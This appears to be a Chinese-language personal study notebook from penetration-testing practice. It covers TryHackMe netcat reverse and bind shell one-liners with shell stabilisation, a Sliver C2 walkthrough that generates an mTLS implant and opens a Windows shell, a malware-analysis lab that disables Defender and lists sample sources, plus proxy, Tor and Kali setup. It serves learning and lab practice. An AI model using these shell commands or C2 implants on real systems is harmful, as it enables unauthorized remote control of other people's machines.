tryhackme-nc

1.监听与连接

监听端: nc -lvnp 9999

受控端: nc 控制端ip 9999


2.反弹shell

监听端: nc -lvnp 9999

受控端:bash -i > /dev/tcp/控制端ip/9999
bash -i > /dev/tcp/控制端/9999 0>&1

监听端:python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ //注意python根据监听端版本来选择pythonx,x为大版本。得到受控端的shell,注意到此时仍然不能使用ctrl C以及左右箭头。

上图右边红色框为输入命令后获取的shell

监听端:export TERM=xterm //之后可以使用术语命令比如clear

监听端:ctrl Z //此时shell在后台运行,监听端得以继续操控终端

监听端:stty raw -echo; fg //关闭监听端的终端回显,但是仍然可以使用tab补全、方向键、crtl c结束进程而不是退出shell,并且能够重新切换到受控端的shell。

++++++


3.有效载荷

A端:mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f //这条命令创建了一个管道用于传递数据,“tmp/f”是这个管道的名称,然后使用netcat开启监听端口,<代表将管道的输出视为监听的输入。

B端:nc A端ip PORT

//此时A的shell会弹到B处,B可以控制A

B端:ctrl C可以退出对A的控制

kali clash/proxychains4

https://juejin.cn/post/7124962244370104350

sudo lsof -i tcp:7890

kill 9 pid

./clash

http7890

sock5 7891

how to set clash step-by-step

step1.download

在github上下载,将clash安装到记得的目录中


step2.下载控制面板:因为要操作节点

mkdir /opt/clash/ui && cd /opt/clash/ui //如果安装在opt下

wget https://codeload.github.com/Dreamacro/clash-dashboard/zip/refs/heads/gh-pages //下载了压缩文件

unzip gh-pages

rm -rf gh-pages

mv clash-dashboard-gh-pages/* . //解压然后更美观


step3.修改clash配置文件:

在 /root/.config/clash 目录下有三个文件,将原来的配置文件删除,使用命令rm -rf filename

然后下载新的订阅配置文件,机场关于clash配置中有:

wget -O /etc/clash/config.yaml [你的订阅链接]
然后vim config.yaml 进行配置,找到ui配置,修改为
“external-ui: /opt/clash/ui”
之后使用浏览器通过 127.0.0.0:9090/ui访问控制面板


使用:

将clash cp到bin目录下就可以随意打开

换节点的时候 127.0.0.1:9090/ui修改

一个可行的配置:

clash:规则模式,选了一个网速还行的节点

firefox:浏览器设置
http:127.0.0.1 7890
https:127.0.0.1 7890
socks5:127.0.0.1 7891

可以访问谷歌


使用proxychains4 :

sudo vim /etc/proxychains4.conf

把动态链的#去掉

把静态链的#加上

在配置文件最下面的proxylist处,删掉socks4,加上:
http 127.0.0.1 7890
socks5 127.0.0.1 7891

测试:首先启动 clash

proxychains4 firefox www.whatismyip.com 查看ip


稳定netcat shell的三种方式

1.python

1)使用命令 nc -lvnp 443 后会从攻击机返回shell,此时的shell是程序极其不稳定,按下 CTERL C 会中断。

使用命令 python -c ‘import pty;pty.spawn(“/bin/bash”)’ 获得稳定的交互shell,但此时仍然无法使用 tab 自动补全或使用箭头键,而 Ctrl C 仍会终止 shell。

2)使用命令 export TERM=xterm

3)使用 Ctrl + Z 为 shell 设置背景,此时已经推出了shell。在攻击机普通命令行下,使用命令 stty raw -echo; fg

2.rlwrap

rlwrap是一个程序

1)使用命令 rlwrap nc -lvnp <port> //处理 Windows shell 时特别有用

2)使用 Ctrl + Z 为 shell 设置背景,然后使用 stty raw -echo; fg 稳定并重新进入 shell

3.Socat*(仅限于Linux目标,因为 Windows 上的 Socat shell 不会比 netcat shell 更稳定)

恶意代码分析学习

使用ubuntu作为模拟服务,使用win7进行分析

ubuntu

下载地址:http://releases.Ubuntu.com

一、更新软件

1.软件包

$ sudo apt-get update
$ sudo apt-get install python-pip
$ pip install --upgrade pip
$ sudo apt-get install python-magic
$ sudo apt-get install upx
$ sudo pip install pefile
$ sudo apt-get install yara
$ sudo pip install yara-python
$ sudo ape-get install ssdeep
$ sudo apt-get install build-essential libffi-dev python python-dex libfuzzy-dev
$ sudo pip install ssdeep
$ sudo apt-get install wireshark
$ sudo apt-get install tshark


2.安装INetSIm:用于模拟服务,比如DNS和HTTP服务
$ echo "deb http://www.inetsim.org/debian/ binary/" > /etc/apt/sources.list.d/inetsim.list
$ echo "deb-src http://www.inetsim.org/debian/ source/" >> /etc/apt/sources.list.d/inetsim.list
$ wget -O - https://www.inetsim.org/inetsim-archive-signing-key.asc --no-check-certificate | apt-key add -
$ apt update
$ apt install inetsim

inetsim的默认监听端口为127.0.0.1,现在要修改为监听192.168.1.100.
打开位于 /etc/inetsim/inetsim.conf 的配置文件,使用以下命令进行编辑

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$ sudo gedit /etc/inetsim/inetsim.conf
然后到 service_bind_address 中的下一行加入192.168.1.100然后保存
然后到 dns_default_ip 中的下一行加入 192.168.1.100然后保存
然后运行 inetsim ,如果显示pid已经存在,使用命令 cat /var/run/inetsim.pid查看占用的pid,使用命令
kill 9 pid 关闭该进程,然后再重启服务,查看到监听为192.168.1.100。注意正常情况下不应该出现红色的fail告警
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

3.隔离主机。将ubuntu16的网络模式改为仅主机模式 hots-only

4.查看网卡信息
$ ifconfig
我的网卡为 ens33

5.配置网卡将ip地址固定为192.168.1.100

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$ sudo gedit /etc/network/interfaces
增加以下内容:
$ suto ens33
$ iface ens33 inet static
$ address 192.168.1.100
$ netmask 255.255.255.0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

然后重启ubuntu

ubuntu算是配置好了

WIN7

修改静态ip 192.168.1.50

网关:192.168.1.100

DNS:192.168.1.100

win+r gpedit.msc -> 计算机配置 ->管理模板->windows 组件->找到win defender 双击->双击关闭d->开启“关闭defender”->应用


样本获取

Hybrid Analysis:https://www.hybrid-analysis.com/
KernelMode.info:https://www.kernelmode.info/forum/viewforum.php?f=16
VirusBay:https://beta.virusbay.io/
Contagio malware dump:http://contagiodump.blogspot.com/
AVCaesar:https://avcaesar.malware.lu/
Malwr:https://malwr.com/
VirusShare:https://virusshare.com
theZOO:https://thezoo.morirt.com/
下面的链接可以找到更多的样本
Free Malware Sample Sources for Researchers

tor浏览器kali

使用命令
apt install tor

修改etc目录下的配置文件

关闭静态chains,开启动态chains

在最后添加上
sock5 127.0.0.1 9050

输入命令启动服务
service tor start

输入命令查看启动情况
service toe status

kali python 版本切换/网卡/物理机虚拟机传输文件

kali python 版本切换

update-alternatives –install /usr/bin/python python /usr/bin/python2 100

update-alternatives –install /usr/bin/python python /usr/bin/python3 150

然后查看版本
python –version

切换版本
update-alternatives –config python  版本号


kali不显示网卡

服务开启后进入vim /etc/network/interfaces
编辑,添加
auto eth0
iface eth0 inet dhcp

然后通过命令/etc/init.d/networking restart 重启网卡恢复正常


使用xshell连接虚拟机

在虚拟机输入命令rz,随意选择一个文件,点击打开即可从物理机选择文件传输到虚拟机

在虚拟机使用命令sz 文件名 ,可以把文件传给物理机

sliver

https://github.com/BishopFox/sliver/releases

服务端

下载 wget https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-server_linux.zip

解压unzip unzip sliver-server_linux.zip

安装库sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

创建一个player。创建一个会话用于之后监听

new-player –operator sigma –lhost 192.168.x.x

会在当前文件夹生成一个cfg文件,后面会用得上

此时会默认监听31337端口//客户端通过31337连接服务端

然后输入players来查看,如下图:

启动多人模式,输入命令multiplayer


客户端

跟下载服务端一样,先下载解压,然后安装依赖

wget https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-client_linux.zip

unzip sliver-client_linux.zip

sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

首先保证服务端开启了多人模式,然后把cfg文件传输到root文件夹中:
sudo cp x_192.168.x.x.cfg /root/.sliver-client/configs

sliver的默认连接端口是31337,可以通过编辑配置文件进行修改:
cat ~/.sliver/configs/server.json //没找到


Commands:
=========
  clear       清除屏幕
  exit        退出shell
  help        帮助
  monitor     监视器
  wg-config   生成新的WireGuard配置
  wg-portfwd  列出WireGuard端口
  wg-socks    列出监听WireGuard服务器

Generic:
========
  aliases           列出当前别名
  armory            自动下载并安装扩展模块/别名
  background        后台活动会话
  beacons           信标管理
  builders          列出外部构建器
  canaries          列出以前生成的canaries
  cursed            谷歌浏览器开发者工具包?
  dns               启动DNS监听
  env               列出环境变量
  generate          生成二进制文件
  hosts             管理主机数据库
  http              启动http监听
  https             启动https监听
  implants          列出生成的马
  jobs              控制器
  licenses          开源许可
  loot              管理服务器商店
  mtls              启动mTLS监听
  prelude-operator  管理与Prelude操作员的连接?
  profiles          列出现有配置文件
  reaction          管理对事件的自动反应
  regenerate        重新生成注入?
  sessions          会话管理
  settings          管理客户端设置
  stage-listener    启动分段监听程序
  tasks             信标任务管理
  update            检查更新
  use               切换活动会话或信标
  version           显示版本信息
  websites          Host static content (used with HTTP C2)
  wg                启动WireGuard监听

Multiplayer:
============
  kick-operator  踢人
  multiplayer    开启多人模式
  new-operator   创建新的用户配置文件
  operators      管理员设置



生成木马:
generate –mtls <Server IP:port> –save test.exe –os Windows 默认8888

使用MTLS监听,使用jobs命令可以看到当前的任务,使用sessions可以查看信息,如下图

输入session -i x //比如sessions -i 1 进入一个会话,如下图

使用命令得到shell
shell –shell-path “C:\\windows\system32\cmd.exe”

按exit可以退出shell。exit退出交互式shell,直接会终止客户端的运行。重新运行客户端,使用sessions查看session 编号,重新进入。


sessions -i sessionID 进入会话

sessions -k sessionID 杀死会话

operators 查看用户在线

implants 查看生成的马


使用wireshark进行抓包,可以看到受控8888端口的流量,如下图。

也发现了心跳包,大小为55.而客户端与服务端的心跳大小为66


kali 换源

1.看系统时间
date

2.更新系统时间
tzselect

echo “ZONE=Asia/Shanghai” >> /etc/sysconfig
rm -f /etc/localtime # 链接到上海时区文件
ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

3.重启

4.更新源
vim /etc/apt/sources.list

清华大学的源

deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

5.更新key

wget archive.kali.org/archive-key.asc //下载签名

apt-key add archive-key.asc //安装签名

6.更新
apt-get update